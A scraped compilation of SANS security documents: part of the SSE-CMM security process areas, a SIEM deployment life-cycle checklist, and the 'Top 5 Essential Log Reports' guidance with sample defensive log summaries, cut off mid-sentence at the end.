mechanisms to coordinate decisions and recomm endations rel ated to security. PA08: Monitor Security Posture Goal 1 Both internal and external securit y related events are detected and tracked. Goal 2 Incidents are responded to in accordance with policy. Goal 3 Changes to the operational security posture are identified and handled in accordance with the security objectives. BP.08.01 Analyze event rec ords to determine the cause of an event, how it proceeded, and likely future events. BP.08.02 Monitor changes in threats, vulnerabiliti es, impacts, risks, and the environment. BP.08.03 Identify security relevant incidents. BP.08.04 Monitor the performan ce and functional effectiveness of security safeguards. BP.08.05 Review the security posture of the system to identify necessary changes. BP.08.06 Manage the response to security relevant incidents. BP.08.07 Ensure that the artifacts related to security monitoring are suitably protected. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 26 PA09: Provide Security Input Goal 1 All system issues are reviewed for security implications and are resolved in accordance with security goals. Goal 2 All members of the project team have an understanding of securit y so they can perform their functions. Goal 3 The solution reflects the security input provided. BP.09.01 Work with designers, developers, and users to ensure that appropriate parti es have a comm on understanding of security input needs. BP.09.02 Determ ine the security constraints and considerations needed to make informed engineering choices. BP.09.03 Identify alternative solutions to security related engineering problems. BP.09.04 Analyze and prioritize engineeri ng alternatives using security constra ints and considerations. BP.09.05 Provide security related guidance to the other engineering groups. BP.09.06 Provide security related guidance to operational system users and administrators. PA10: Specify Security Needs Goal 1 A comm on understand ing of security needs is reached between all parties, includi ng the customer. BP.10.01 Gain an understanding of the customer’s security needs. BP.10.02 Identify the l aws, policies, standards, external influences and constraints that govern the system. BP.10 .03 Identify the purpose of the system in order to determine the security context. BP.10.04 Capture a high -level securi ty oriented view of the system operation. BP.10.05 Capture high -level goals that define the security of the system. BP.10.06 Define a consistent set of statements which define the protection to be i mplemented in the system. BP.10.07 Obtain agreement that the specified security meets the customer’s needs. PA11: Verify and Validate Security Goal 1 Solutions meet security requirements. Goal 2 Solutions meet the customer’s operational security needs. © SANS Institute 2003, Author retains full rights Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 Key f ingerprint = AF19 FA 27 2F94 998D FDB5 DE3D F8B5 06 E4 A169 4E 46 © SANS Institute 2003, As part of the Information Security Reading Room. Author retains full rights. 27 BP.11.01 Identify the solution to be verified and validated. BP.11.02 Define the approach and level of rigor for verifying and validating each solution. BP.11.03 Verify that the solutio n implements the requirements associated with the previous level of abstraction. BP.11.04 Validate the solution by showing that it satisfies the needs associated with the previous level of abstraction, ultimately meeting the customer’s operational securit y needs. BP.11.05 Capture the verification and validation results for the other engineering groups. Last Updated: April 23rd, 2015 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS SEC401 London London, GB Apr 27, 2015 - May 02, 2015 Live Event SANS ICS London 2015 London, GB Apr 27, 2015 - May 02, 2015 Live Event SANS Bahrain 2015 Manama, BH May 02, 2015 - May 07, 2015 Live Event SANS Security West 2015 San Diego, CAUS May 03, 2015 - May 12, 2015 Live Event SANS Secure India 2015 Bangalore, IN May 04, 2015 - May 23, 2015 Live Event SANS Secure Europe 2015 Amsterdam, NL May 05, 2015 - May 23, 2015 Live Event SANS/NH-ISAC Healthcare Cybersecurity Summit Atlanta, GAUS May 12, 2015 - May 19, 2015 Live Event SANS Melbourne 2015 Melbourne, AU May 18, 2015 - May 23, 2015 Live Event SANS Pen Test Austin 2015 Austin, TXUS May 18, 2015 - May 23, 2015 Live Event SANS Secure Thailand 2015 Bangkok, TH May 25, 2015 - May 30, 2015 Live Event SANS ICS Security Training - Houston Houston, TXUS Jun 01, 2015 - Jun 05, 2015 Live Event SANS ICS410 Vienna in Association with IAEA Vienna, AT Jun 06, 2015 - Jun 10, 2015 Live Event SANS Dublin 2015 Dublin, IE Jun 08, 2015 - Jun 13, 2015 Live Event SANSFIRE 2015 Baltimore, MDUS Jun 13, 2015 - Jun 20, 2015 Live Event SANS Rocky Mountain 2015 Denver, COUS Jun 22, 2015 - Jun 27, 2015 Live Event SANS Pen Test Berlin 2015 Berlin, DE Jun 22, 2015 - Jun 27, 2015 Live Event Cyber Defence Canberra 2015 Canberra, AU Jun 29, 2015 - Jul 11, 2015 Live Event SANS Capital City 2015 Washington, DCUS Jul 06, 2015 - Jul 11, 2015 Live Event Digital Forensics & Incident Response Summit Austin, TXUS Jul 07, 2015 - Jul 14, 2015 Live Event European Security Awareness Summit London, GB Jul 08, 2015 - Jul 10, 2015 Live Event SANS London in the Summer London, GB Jul 13, 2015 - Jul 18, 2015 Live Event SANS Minneapolis 2015 Minneapolis, MNUS Jul 20, 2015 - Jul 25, 2015 Live Event SANS San Jose 2015 San Jose, CAUS Jul 20, 2015 - Jul 25, 2015 Live Event Security Operations Center Summit & Training OnlineDCUS Apr 24, 2015 - May 01, 2015 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced --- ## Source: https://montance.com/questions.php?id=83 [![pdf](content/images/icons/pdf.svg) SANS - capability maturity model derive security requirements 1005.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgX2hEbnYxSlUxUVE/view?usp=sharing) Sans Capability Maturity Model Derive Security Requirements 1005 Resource covering Maturity titled 'Sans Capability Maturity Model Derive Security Requirements 1005'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgTUttNm5KTFlvMkU/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgTUttNm5KTFlvMkU/view?usp=sharing]** 1/8 Copyright, The SANS Institute, 2006 - no copying, forwarding, posting, or other reuse allowed without prior written permission. Security Information/Event Management Security Development Life Cycle Version 5 Copyright, The SANS Institute, 2006 - no copy ing, forwarding, post ing, or other reuse allowed without prior written permission. If your enterprise is like most, you are collecting logs from most every device with security relevance. The flood of even ts is probably more than any human can keep up with let alone correlate. This is th e role of the Security Information/Event Management (SIEM) system. The SIEM co llects log data, normalizes it into a consistent format and allows for cross checking of events from multiple systems. They allow for detailed reporting and the sending notification with a high degree of confidence. SIEM products are ra pidly becoming an important part of regulatory compliance monitoring as well. All this functionality does (of course) come at a price. SIEM solutions are typically complex to engineer and deploy. They can be expensive to purchase and maintain as well. The following Security Development Life Cycle will help guide you through some of the pre and post deployment considerations for a SIEM installation. It is hoped that some of our “lessons learned” contained herein will help you avoid some of the pitfalls in your own SIEM endeavors. 1. Project planning: a. Determine the need for a Security Information/Event Management (SIEM) solution. i. What problem are we solving with this solution (log retention, regulatory compliance, security ma nagement, tying together alerts from disparate security systems, consolidation of manpower, etc.)? ii. What products are you going to be taking log data from? 1. Ensure the desired logs can be brought into the SIEM system. Most SIEM solutions offer agent based and agentless data collection capab ilities. Ensure capabilities exist to gather and bring in logs in a manner that is consistent with your security architecture. 2. Plan for some degree of excess capacity, both in hardware and also in software licenses. As you demonstrate the value of the solution you can expect to receive additional tasking to take logs from additional products not on today’s roadmap. You may also need to allow for corrections to your initial message volume estimates. 2/8 Copyright, The SANS Institute, 2006 - no copying, forwarding, posting, or other reuse allowed without prior written permission. 3. Look for the ability to cr eate your own log parsing capabilities if the vendor does not have the capability of reading the logs with a pre-bui lt agent. This can be faster and cheaper than having the vendor create an agent for you if you have to take logs from a custom application. 4. Learn the data to determine how it can be used to provide extra value. Leverage a SME for each data source 5. Involve data-owners early on, and provide access, to improve data-owner cooperation. iii. What areas of the business ar e you going to take data from? 1. Plan for some excess capacity or the ability to add capacity easily, you can expect to gain additional customers you have not planned for in the initial design. iv. What areas of the business are you going to offer services (and which services) to? 1. Plan for some excess capacity or the ability to add capacity easily, you can expect to gain additional customers you have not planned for in the initial design. 2. Ensure that the product allo ws for easy, granular, and secure Access Controls so that access can be provided to only the appropriate level of data. b. Determine the financial viability of a SIEM solution i. Software or appliance costs 1. Central SIEM server or appliance 2. SIEM Agents or collecto rs (if licensed per-agent) 3. Database Server software (if required) 4. Software modifications need ed to support log gathering 5. Software needed to manage the systems (if required) ii. Hardware costs 1. Servers to run the SIEM ( unless deploying an appliance solution) 2. Storage (Local Disk, SAN, or NAS) (if required) 3. BCP hardware or hardware for a high-availability configuration. 4. System management hardware (Tape Backup, Monitoring, hardware management, etc.) 5. Any local costs relating to Data Center space iii. Bandwidth costs – These will be dependent on the log volumes, you need to ensure you have adequate bandwidth available. 1. Log source to log collector data transfer (will vary with log levels) 2. Log collector to central server data transfer (will vary with log levels) 3/8 Copyright, The SANS Institute, 2006 - no copying, forwarding, posting, or other reuse allowed without prior written permission. 3. Data transfer within the SIEM infrastructure 4. Client to server traffic 5. Database replication traffic 6. Server and Database Backup traffic. iv. Customization costs 1. Discuss with the SIEM vendors the feasibility and any costs associated with change s you may require to be made to the product 2. Determine the cost and lead times for any custom agent creation you may require. v. Maintenance costs 1. Hardware annual maintenance 2. Software annual maintenance costs vi. Staffing costs 1. Sysadmin(s) salary a. Who will do the sysadmins work for your SIEM systems? 2. Content Developer(s) salary a. Who will be developing your SIEM content, such as reports, correlation rules, alerts, etc.? 3. Database Administrator a. Do you require a DBA (on a full or part time basis)? b. Can you split the salary cost between internal groups/projects? 4. SAN Administrator a. Do you require the services of a Storage Area Network admin (on a full or part time basis)? b. Can you split the salary cost between internal groups/projects? c. If an enterprise asset inventory syst em does not exist already, start the effort to build that infrastructure 6 months prior to starting the SIEM implementation. You will want accurate asset information to maximize the value of your SIEM system. d. Determine if an enterprise Identity management solution exists and if you can leverage this for mapping user id entities, both for mapping ID’s to users during investigation and also fo r user access to the SIEM itself. e. Obtain the most accurate mapping of your network possible prior to the start of the deployment of the SIEM system. Network location is also critical to obtain the most accurate information from your SIEM product. f. Star the effort to standardize system s on a single time zone, if the business exists in multiple locations consider standardizing on UTC. Standardized log times are very important to corr elation. If this is not possible (or practical) then you will need use time correction at the SIEM agent or build your correlation based on the ti mestamp assigned to events when they are received by the Manager. 4/8 Copyright, The SANS Institute, 2006 - no copying, forwarding, posting, or other reuse allowed without prior written permission. g. NTP – if you are not using it, star t! Log times have direct impact on correlation of events. The more drift the less likely the events can be correlated with events from other devices. h. Ensure the data you want to collect is actually being logged by the devices. Nothing is more disconcerting than being ready to start taking in the logs and finding out that they are not being collected. i. Evaluate SIEM products, try hard to ta lk with actual users of the products you are considering, preferably without the vendor present. i. Determine the main usage scenario for a SIEM solution. ii. Determine Hardware requirements iii. Determine types of log data support needed and available agent support from SIEM vendors. iv. Communication between Log source and SIEM Servers must be authenticated to avoid supplantatio n and fake data injection. Some log data types, such as UDP sy slog do not allow for authentication so other measures (such as tunne ling) will need to be taken if authentication is required. v. If required, data encryption at the SIEM to guarantee confidentiality (e.g. login and pa ssword information, personal or customer information, etc.) vi. If required ensure the traffic between SIEM components is encrypted. This is desirable b ecause you may get new requirements after the initial implementation, even if you do not need it on day 1 vii. Immutability of the logs stored by the SIEM system to ensure they can not be tampered with. (e .g. using digital signatures) viii. Raw unmodified log data storage is commonly required for archive storage, evaluate cost-effective raw data storage ix. Availability of 24-hour support x. Ease of custom content creation xi. Complexity of adding completely custom data sources xii. Flexibility in modifying the user interface to meet usage requirements xiii. Responsiveness of vendor in addressing problems reported xiv. Correlation capability to unify disparate data sources xv. Ablility to initiate automatic action xvi. Compression of transmitted data 2. Systems analysis: a. Determine the volume of log data (from all sources) you need to be able to accommodate. i. Decide what to log at what level of granularity ii. Determine which log messages from each log source will be collected by a SIEM solution iii. Base numbers on maximum projected log volumes 5/8 Copyright, The SANS Institute, 2006 - no copying, forwarding, posting, or other reuse allowed without prior written permission. b. Determine the storage requirements ( how long do you need to be able to store logs for)? i. Does there exist for your organization, any regulatory mandate to store or destroy data ? ii. How long do you need to have online and iii. how long in offline (restorable) log data. iv. Do you need to replicate database data v. Do you need to store raw unmodified log data? If so for how long? c. Determine how many users the system will need to support i. How many users will need to author content ii. How many users will be c onsumers of content only d. Determine BCP/DR requirements for the SIEM system e. Do you require external user authenti cation (via Active Directory, SSO, or Token ) ? i. Ensure the SIEM supports this mechanism ii. Ensure your external authentication system is prepared to support the SIEM application. 3. Systems design: a. Hardware Requirements (unless an a ppliance solution is being deployed) i. Determine the hardware requirements for SIEM manager and agent servers b. Design the SIEM architecture i. Determine the number of SIEM se rvers required to support the volume of logs ii. Determine the number of SIEM se rvers required to support any organizational separation of f unctions (Line of Business or geographical region) iii. Determine the number of servers required to support SIEM agents (some SIEM servers have limitati ons on how many agents they can support) iv. Try to architect you SIEM environm ent in tiers to enhance overall scalability. v. Validate SIEM hardware and arch itecture design with the vendor to avoid any problems later relating to scalability or performance. Ask the vendor to provide a capac ity plan that you can use as a scalability roadmap. vi. Attempt to design log aggregation po ints into the architecture. If you need to take in syslog from 25 servers, it is more efficient to have all 25 servers syslog to a l og server and run the log collection agent on that log server than it is to run 25 separate log collection agents. 6/8 Copyright, The SANS Institute, 2006 - no copying, forwarding, posting, or other reuse allowed without prior written permission. vii. Allow for a Development Manager/DB in your architecture. It is possible to crash/lag a system in the process of creating SIEM content (rules, reports , etc.). Having a non-production system to build and test content on will pay big dividends the first time something being written fails and forces a manager restart. c. Design SIEM network connectivity d. Design the SIEM database i. Determine the disk space requirements for your SIEM database(es) 1. Include online and offline storage 2. determine disk space, speed, and expansion capabilities 3. Is SAN storage a requirement? 4. Determine requirements of the SIEM vendor, many have specific requirements for the DB disk space (raid type, raw disk versus file system, numb er of spindles, partitioning, etc.) ii. Allocate space for any databa se backup or replication requirements iii. Allocate space for restoring and re-importing of archived data e. Train the Implementation team to deploy the SIEM product 4. Implementation: a. Order, Receive, and Rack server hardware b. Install selected Operating System i. Configure to local standards. ii. Patch OS to current levels c. Connect and configure network i. Assign IP addresses ii. Connect network iii. Test connectivity iv. Test any network related High availability features v. Configure any SAN connectivity (if required) d. Install SIEM software or deploy an appliance i. Load DB (unless installed by SIEM setup) 1. Load any DB High Availability solution you are going to run now as well. (DataGuard, RAC, etc.) 2. Test any Database high av ailability features ii. Load SIEM manager software iii. Basic manager configuration e. Install SIEM agents i. Load agent software f. Install System management software i. Load backup software ii. Load any locally required system management software and agents 7/8 Copyright, The SANS Institute, 2006 - no copying, forwarding, posting, or other reuse allowed without prior written permission. g. Design and Implement access controls on user groups to restrict the visibility of events where appropriate. i. Many groups only need to see their log data and do not need to be able to see all events in the system ii. Build ACL’s based on group membership iii. Log the logs and audit the aud itors: ensure all SIEM access and audit logs are kept so there is a record of SIEM usage h. Build initial SIEM content i. Build content for multiple levels of technical knowledge ii. Managers are typically looking fo r high level abstracted data iii. Engineers are looking for content with very detailed information iv. Determine requirements for reportin g, schedule recurring reports to run automatically 5. Integration and testing: a. Configure SIEM agent software i. Configure it to transmit events to the manager b. Validate events are being received at the manager from the agents i. Check to see all expected events are being received ii. Validate the events are being parsed and classified properly c. Validate the manager is pr ocessing events properly d. Validate data normalization e. Validate correlation function f. Validate database archiving capability g. Validate database restore functionality h. Test notification functionality i. Test reporting functionality i. Test report dissemination j. Test any High Availability configur ation & current maximum capacity. A stress test prior to brining in any production data is highly advisable. 6. Acceptance, Deployment: a. Provide access to test user community i. Have these users validate content suitability for their assigned roles b. Build production accounts for user community i. Build accounts with appropriate rights ii. Disseminate user accounts and software c. Training of End Users and SOC Personnel in SIEM operation d. Migrate business processes to new SIEM environment e. Integrate into the CSIRT/Incident Handling process f. Educate internal groups on capabili ties and limitations of the SIEM product, this can include Audit, Ma nagement, and especially Legal. 8/8 Copyright, The SANS Institute, 2006 - no copying, forwarding, posting, or other reuse allowed without prior written permission. g. If possible (based on regulatory and legal requirements) develop white list based filtering to prevent your database from getting filled with useless events. While you would like to have ev ery log at your fingertips, the cost is storage and bandwidth can be exorbitant. Determine some local tradeoffs and filter at the log co llection point to reduce overhead. 7. Maintenance: a. Design a process for patching the OS on the SIEM servers b. Design a process for patchi ng the SIEM application c. Design a process for patching th e SIEM database software d. Design a process for developing SI EM content to meet business requirements e. Design a process for emergency content development to satisfy the needs of CSIRT conditions f. Design a process to archive SIEM data for offline storage g. Design a process to restore archived SI EM data for later analysis or legal requirements. h. Design a process for managing user accounts in the SIEM system i. Creation ii. Deletion iii. Password reset/unlock i. Ongoing training efforts for Admini strative and Operations staff j. Develop a formal process for maintaining SIEM content k. Create a “lessons learned” feedback loop to allow processes involving the SIEM to be improved based on th e incident handling process. l. Anticipate the need for new agents or upgrades to current ones as new log sources are added or existing appli cations are upgraded. Ensure your SIEM vendor has a plan to update agents in a timely manner as new application versions are released. Try to get in front of new applications being deployed so you have time to get agents built if they do not exist at the time. This document has been improved by the c ontributions of Tom Chmielarski, Anton Chuvakin, Augusto Pasos de Barros, Joanmi Bardera, Peter Vestergaard, and Rafael Goldfarb. Many thanks for all their insightful input. Dean Farrington --- ## Source: https://montance.com/questions.php?id=82 [![pdf](content/images/icons/pdf.svg) SANS - SIEM Methodology.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgTUttNm5KTFlvMkU/view?usp=sharing) Sans SIEM Methodology Resource covering SIEM titled 'Sans SIEM Methodology'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgRmpoekk5cmhJMlE/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgRmpoekk5cmhJMlE/view?usp=sharing]** If you read the “SANS Top 5 Essential Log Reports” carefully, you'll see that it actually includes far more than just five different logging reports. This is by design as different job descriptions are goi ng to have different perspectives on what they deem to be most essential. The top 5 list was a collaboration of many respected individuals within the logging in dustry. Each submitted what they deemed to be their own five most essential reports, which then b ecame the building blocks of the final list. A run down of these reports, as well as how they fi t into the final list of five, has been included be low. It is interesting to note that many of the reports are similar with only slight variations which make them more applicable to the local environment. Feel free to use this list as a resource pool of ideas for generating your essential logging reports. Item #1 Attempts to gain access through existing ac counts Total failed logins per day. Top 5 users with most failed logins per day. Failed authentications to servers sorted by number. Unauthorized access attempts (logon failures per ac count with time/count threshold). Any statistically significant increase in failed lo g ons. Report on attempted failed logins to disabled accou nts. Auditing on DC's (Domain Controllers) for logon/log off events. Intruder attempts, both for normal workstation user s and Admin server users. Failed remote access attempts. Any unexpected log ons through the VPN. Item #2 Failed file or resource access attempts Sensitive resource (e.g. files, dbtables, servers) access reports and anomalies. HR-based reporting. User termination and activation . Post termination activity. Unauthorized/inappropriate web/file access. Any statistically significant increase in errors. Web site abnormal file activity, abnormal time and period access, abnormal access to zones/areas of th e web site. Item #3 Unauthorized changes to users, groups and s ervices List of messages indicating administrator access, c onfig changes. Account management (creation, password changes, gro up membership changes). Privilege & policy changes. Changes to sensitive Active Directory (AD) groups. Changes to Schema Administrators group membership. Report on AD configuration changes. Users management activity inside AD. Tracking of changes to user permissions at folder l evel. "Application" accounts being accessed via password. Abnormal OS/Application level activity – especially time based and zone based. Abnormal process activity (processes created by unu sual accounts or at unusual times, e.g. command prompt running as local system). Item #4 Systems most vulnerable to attack Vulnerability Scanner logs. Nmap logs. Nessus logs. Patch status reports. Compliance rules auditing. System integrity reports. Item #5 Suspicious or unauthorized network traffic patterns Top ten talkers. "Top" lists of highest bandwidth-consuming conversa tions. Protocol distribution report. Top incoming IPs (Evaluated against IP Watchlists f rom SANS and SecurityFocus). Top Target IPs. Top 10 type of traffic. Top Source ports. Top Target ports. Top list of accessed web sites. Arpwatch logs. Top alerts from IDS. Top 5 IDS signatures per day. Top 5 IDS signature sources per day. Top 5 IDS signature destinations per day. Intrusion Monitoring Reports. Top blocks of traffic to adult sites. IDS - Top 10 Fired Rules. Top spyware infections (NIPS). Analysis of email attachments looking for patterns (the same attachment sent to multiple addresses). Analysis of attachments sent to potential competito rs. Email with sensitive (classified) attachments. Top 10 firewall attackers. Connections rejected by the firewall originating fr om our DMZs. IP's on our internal network with more firewall rej ects than our OpenView servers. Denied outbound connections on my firewall. Top 5 firewall blocked sources per day. Top 5 firewall blocked destinations per day. Top list of rejected packets source and destination . Firewalls - Top 10 Fired Rules. --- ## Source: https://montance.com/questions.php?id=81 [![pdf](content/images/icons/pdf.svg) SANS - top5logreports extended.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgRmpoekk5cmhJMlE/view?usp=sharing) Sans Top5logreports Extended Resource covering Logging titled 'Sans Top5logreports Extended'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgbVZ0VTdGMDVnS1k/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgbVZ0VTdGMDVnS1k/view?usp=sharing]** Top 5 Essential Log Reports Version 1.0 Contributors: Chris Brenton - Independent Security Consultant - chris@chrisbrenton.org Tina Bird, Security Architect, PGP Corporation Marcus J Ranum, CSO, Tenable Network Security, Inc. Introduction In June of 2000, the "SANS/FBI Top 10 Critical Vulnerabilities" consensus list was created. This list iden tified the t en most fr equen tly e xploit ed vulner abilities on the Internet. While the list was not intended to be a complete list of all possible threat models, it was an extremely useful action item list for network, system and security administrators alike. By securing the listed ten items, theadministr ator would receive the greatest increase in overall security and thus the greatest reduc- tion in security risk from hostile attacks. In the spirit of this original consensus, the SANS community has again banded together in order to create the "Top 5 Essential Log Reports" consensus. This list is not intended to be a completereview of all the potentially useful log reports. Rather, the focus is on identifying the five most criti- cal log reports for a wide cross-section of the security community. These are the top reports whichshould be reviewed on a regular basis. The goal is to include reports that have the highest likeli- hood of identifying suspect activity, while generating the lowest number of false positive report entries. The log reports may not always clearly indicate the extent of an intrusion, but will at leastgive sufficient information to the appropriate administrator that suspect activity has been detected and requires further investigation. The Top 5 E ssen tial Log Reports 1) Attempts to Gain Access through Existing Accounts 2) F ailed F ile or Resour ce Access Attempts 3) Unauthorized Changes to Users, Groups and Services 4) Systems Most Vulnerable to Attack5) Suspicious or Unauthorized Network Traffic Patterns 1 www.sans.org #1 - Attempts to Gain Access through Existing Accounts Failed authentication attempts can be an indication of a malicious user or process attempting to gain network access by performing password guessing. It can also be an indication that a local user account is attempting to gain a high- er level of permissions to a system. Why It's Important Password guessing tools are extremely popular in the wild. There are tools available to assist attackers in breaking in through Windows, Linux/UNIX, IPSec, HTTP , SSH, and a host of other authentication mechanisms. If a brute forceattempt can be detected in its early stages, you may be able to take corrective action to prevent an attacker from gain- ing system access. If the attacker does break in, recovery becomes far more difficult. Report Description A useful failed authentication report will give an indication of the source IP address of the attempts, as well as the login names used. A summary report is acceptable, so something similar to the following would be considered useful: Failed Login Attempts: jsmith fr om 1.2.3.4 against e xample-host p erformed 37 times jdoe from 1.2.3.4 against example-host performed 16 times Note that a useful bonus for this report would be an additional line item which indicates if the login name/source IP was eventually successful in gaining access to the system. It's acceptable however for the system to provide this information through a secondary report. For example the ability to report all authentication attempts sorted by login name and/or source IP in a time linear fashion. Who Can Use This Report This report is most useful to system, VPN and wireless administrators as they are typically charged with providing net- work acc ess t o resour ces. Webmasters may also find this report useful, as many times certain areas of a Web site will be secured using user level permissions. This report may also be useful for proxy administrators as failed authentica- tion attempts may be an indication of external access, or local users attempting to gain access to restricted portionsof the Internet. False Positives Clearly it is possible for a legitimate user to occasionally type in an incorrect password. If report information is provid- ed in summary format, the amount of false positive “noise” should be minimal. The ability to pull additional authenti- cation r eports could also help an administrator clarify the situation. For example, multiple authentication failures from the same IP subnet a user commonly originates from are probably not a problem. If the source IP is completely foreign, further investigation is warranted. False positives could also be reduced by the ability to set thresholds within reports. For example it would be helpful if an administrator could define that they are only interested in seeing source IPs where “N” number of authentication failures occurred over “Y” period of time. 2SANS T OP 5 E SSENTIAL LOG REPORTS www.sans.org #2 - Failed File or Resource Access Attempts Failed file or resource access attempts is a broad category which can impact many different job descriptions. In short, failed access attempts are an indication that someone is attempting to gain access to either a non-existent resource, or a resource to which they have not been granted the correct permissions. Why It's important Failed access attempts can be an early indication of an attacker probing a system. For example if you see an IP address on the Internet looking for multiple files on your Web server that do not exist, they are probably running some form of avulnerability scanner against you in order to find your weak spots. Failed recursion attempts could be a sign that an attacker is attempting a cache poisoning attack against your network. Very rarely does an attacker get it right on their first try. By monitoring their failures you can get an early warning that your systems are being targeted. Report Description A proper failed access attempt report will give an indication of the resource to which access was attempted, the source IP performing the access attempt, along with account information where applicable. Again, a summary report format can be used to provide concise information as well as make it easier for an administrator to spot trends in the data. It is appropriate to consolidate information as required in order to reduce the line items generated. This is a wide category, so clearly it is beyond this document to list all possible reporting options. The following is a sample broken down by discipline: Name Server Failed Access Attempts: Failed zone transfer from 1.2.3.4 for example.net against ns1 performed 3 times Failed recursion attempt from 1.2.3.4 against ns1 performed 12 times Web Server Failed Access Attempts: Failed file acc ess a ttempt for 1.2.3.4 performed 13 times /var/www/html/mambo /var/www/html/cvs /var/www/html/articles /var/www/html/cvs /var/www/html/xmlrpc.php /var/www/html/blog /var/www/html/blog /var/www/html/blogs/var/www/html/drupal /var/www/html/phpgroupware/var/www/html/wordpress /var/www/html/xmlrpc /var/www/html/xmlsrv File S erver F ailed Access Attempts: Failed write access on financial.xls for user jsmith from 1.2.3.4 performed 2 times 3SANS T OP 5 E SSENTIAL LOG REPORTS www.sans.org Who Can Use This Report As mentioned, failed access attempts can clearly be useful for the greatest number of job descriptions. Some poten- tial examples: Name Server Administrator -Failed recursion and zone transfer attempts. Respectively these can be an indication of a cache poisoning attack or an attacker attempting to enumerate information about your network. Web Server Administrator -Failed file and directory access attempts could be an indication of an attacker probing for possible vulnerabilities. Mail Server Administrator -Failed mail relay attempts could be an indication that someone is attempting to use your mail system as a spam relay. File Server Administrator -Failed file access attempts could be an indication that a user is attempting to access infor- mation to which they have not been granted permission. Firewall Administrator -Failed inbound and outbound access attempts. Failed inbound attempts are an indication of port scans or probing. Failed outbound attempts could be an indication that an internal system has been compro-mised or an in ternal user is attempting to access non-authorized services. False Positives Unfortunately there are many automated processes that can cause false positive conditions when monitoring for failed access attempts. For example load balancers have been known to generate unsolicited zone transfer or recur- sion attempts. Web search engines typically look for a “robot.txt” file which can trigger a failed access attempt if the file does not exist. A reporting option which permits the administrator to define exception criteria for items they donot wish t o see in a r eport can be extremely useful. For example, an administrator could choose to ignore zone trans- fer attempts from certain IPs or choose not to see robot.txt in the summary reports. 4SANS T OP 5 E SSENTIAL LOG REPORTS www.sans.org #3 - Unauthorized Changes to Users, Groups and Services The modification of user and group accounts, as well as system services, can be an indication that a system has become compromised. While clearly, modifications to all three will occur legitimately in an evolving network, they warrant special attention because they can be a final indication that all other defenses have been breeched and anintrusion has occurred. Why It's Important When a system becomes compromised, it's not uncommon for the attacker to create a user account with a high level of permissions so they can come back and access the system whenever they wish. Monitoring account modifications will give you an indication that this has occurred. Also, it's not uncommon for a compromised system to have changes made to running processes. For example the attacker may shutdown the systems firewall and AV software, or may launch new processes to help hide their system access. Monitoring when existing services are disabled or when new services are added will give you a warning indication that the system has become compromised. Report Description A useful r eport in this category will summarize results by authentication system or host, as applicable. A summary report which identifies the modification, the affected system, as well as the source of the change should be included when ever possible. Since users/groups and services are sometimes managed by different resources, it is acceptable to have their results summarized in different portions of the report. Account changes for FS1: New user: name=c0rt3z uid=1050 Group change: User c0rt3z added to group Administrator Service changes for FS1: antivirus.exe has been stopped evilbackdoor started sshd r estar ted Who C an Use This Report Tracking modifications to users, groups and services can clearly be useful information for a wide range of job descrip- tions. For example while system level administrators can clearly use this information, network administrators may find this information useful as well in managing the security of network devices. False P ositiv es Obviously any legitimate modification to users, groups and services will show up in this report as well. There is simply no easy w ay to avoid these false positives. This means that distinguishing between legitimate and unauthorized changes will need t o be performed through some other means. For example, if the network in question has a trouble ticket system, the changes could be matched against ticket system entries to ensure all changes are legitimate. If the installation of software is controlled, the appearance of new services can be checked against that system in order to ensure they are appropriate for that target host. 5SANS T OP 5 E SSENTIAL LOG REPORTS www.sans.org #4 - Systems Most Vulnerable to Attack As indicated in the original SANS top 10 Critical Vulnerabilities list, as well as the current top 20, one of the most important steps you can take in securing your network is to stay up-to-date on patches. In an ideal world all systems would remain completely up-to-date on the latest patches; time management, legacy software, availability ofresources, etc., can result in a less than ideal posture. A report that identifies the level of compliance of each network resource can be extremely helpful in setting priorities. Why It's Important A majority of worms on the Internet that have been responsible for wide scale damage have targeted known security problems to which a patch has existed. By ensuring that your systems are patched and up-to-date, you can protect yourself against a majority of the attacks experienced by networks attached to the Internet. Report Description As the item name suggests, a proper report will help an environment identify which systems are in the greatest need of patching. Obviously this report would typically be drawn from a vulnerability assessment tool rather than the results of any system level logs. Back end log analysis tools could provide additional levels of customization to these reports. For example, most environments would find it extremely beneficial to be able to customize the final weight- ing system. Examples would be customization based on a per vulnerability, as well as a per system basis. Weight per vulnerability - Most vulnerability assessment tools include a weighting system based on the generally accepted risk level of a given exploit. Given that the needs of every environment are different, some level of cus-tomization control would be useful. A numeric system (say 1 is low risk while 10 is the highest) would be the most flexible. Weight p er syst em - Consider this t o be a multiplying factor for the above vulnerability rating. In a given environment some systems are deemed to be more critical than others. An analysis system that reflects this relevance could be extremely useful in setting priorities. For example, an exposed e-commerce server might have a weight of “2” while an internal t est ser ver might have a weight of 